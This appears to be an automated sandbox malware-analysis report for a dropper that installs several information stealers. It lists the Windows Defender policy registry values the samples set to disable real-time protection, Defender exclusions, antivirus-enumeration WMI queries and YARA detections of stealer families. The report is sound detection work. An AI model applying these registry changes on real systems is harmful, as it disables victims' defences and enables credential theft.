Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe

Code function: 6_2_00664C60 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_00664C60

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Code function: 5_2_0019D3C2 GetTimeZoneInformation,

5_2_0019D3C2

Source: C:\Users\user\Desktop\BI6oo9z4In.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1

Exclude list of file types from scheduled, custom, and real-time scanning

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Registry value created: Exclusions_Extensions 1			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Registry value created: Exclusions_Extensions 1

Modifies Group Policy settings

Source: C:\Users\user\Desktop\BI6oo9z4In.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected CryptOne packer

Source: Yara match

File source: 0000000C.00000002.1921086630.0000000004379000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Mars stealer

Source: Yara match	File source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1897275221.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2372864881.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 30.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.LLNkfgDtZiUZkTn30_sZHJcE.exe.b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.2014980046.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2185945758.000000000450C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.nDCHNmvRZpJ9pfO5sjkcNCmB.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.1892646275.0000000000197000.00000004.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2265895293.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected RisePro Stealer

Source: Yara match	File source: 11.3._vgILobA0xXbWeowDxO5iZdo.exe.5915560.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.Q7vDtN_em7fitYNxQll9ewNo.exe.69e41a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3._vgILobA0xXbWeowDxO5iZdo.exe.58efce0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe.5746e60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3._vgILobA0xXbWeowDxO5iZdo.exe.58fed20.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2429616383.0000000005863000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2217900241.00000000061BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2323555077.0000000005A80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2174149135.000000000576A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2391836723.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2132917320.00000000069A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.2370659744.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2173869303.00000000056FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2390107762.00000000012DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2236046585.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2132997569.0000000006A0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe PID: 6832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Q7vDtN_em7fitYNxQll9ewNo.exe PID: 2484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: H61tUtaRHb9b8i2Ptr3ABL5b.exe PID: 3004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: _vgILobA0xXbWeowDxO5iZdo.exe PID: 4460, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\jYL1hclCVelFzk05W8_PnMT.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\FVt3eIEv9kpaJcahG65l2E0.zip, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.2376588491.0000000002DB0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FDsH_f9gemssdAs7w06vZwlL.exe PID: 4048, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 6.2.HXqqC3YwnKDsi7zeJNheTOoZ.exe.660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.unpack, type: UNPACKEDPE
